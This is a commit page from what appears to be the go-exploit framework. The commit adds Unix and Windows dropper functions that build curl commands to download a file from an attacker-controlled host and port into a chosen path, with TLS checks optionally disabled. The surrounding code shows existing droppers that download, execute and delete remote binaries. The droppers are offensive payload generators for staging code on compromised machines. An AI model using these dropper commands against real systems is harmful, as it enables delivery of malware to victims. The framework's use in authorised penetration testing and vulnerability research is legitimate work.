Skip to content

Commit a77076c

Browse files
Added CurlHTTPDownloadOnly
1 parent 5481ac2 commit a77076c

File tree

2 files changed

+22
-0
lines changed

2 files changed

+22
-0
lines changed

payload/dropper/unix.go

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,17 @@ import (
66
"github.com/vulncheck-oss/go-exploit/random"
77
)
88

9+
// Download a remote file with curl, but do not execute/delete it.
10+
// You also need to provide your own full file path, .exe will not be appended like the others.
11+
// Lastly the full output file path needs to be specified in the output parameter.
12+
func (unix *UnixPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, output string) string {
13+
if ssl {
14+
return fmt.Sprintf("curl -kso %s https://%s:%d/%s", output, lhost, lport, downloadFile)
15+
}
16+
17+
return fmt.Sprintf("curl -so %s http://%s:%d/%s", output, lhost, lport, downloadFile)
18+
}
19+
920
// Download a remote file with curl, execute it, and delete it.
1021
func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
1122
output := "/tmp/" + random.RandLetters(3)

payload/dropper/windows.go

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,17 @@ import (
77
"github.com/vulncheck-oss/go-exploit/random"
88
)
99

10+
// Download a remote file with curl.exe, but do not execute/delete it.
11+
// You also need to provide your own full file path, .exe will not be appended like the others.
12+
// Lastly the full output file path needs to be specified in the output parameter.
13+
func (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, output string) string {
14+
if ssl {
15+
return fmt.Sprintf("curl.exe -kso %s https://%s:%d/%s", output, lhost, lport, downloadFile)
16+
}
17+
18+
return fmt.Sprintf("curl.exe -so %s http://%s:%d/%s", output, lhost, lport, downloadFile)
19+
}
20+
1021
// Download a remote file with curl.exe, execute it, and delete it (after execution).
1122
func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
1223
output := `%TEMP%\` + random.RandLetters(3) + ".exe"

0 commit comments

Comments
 (0)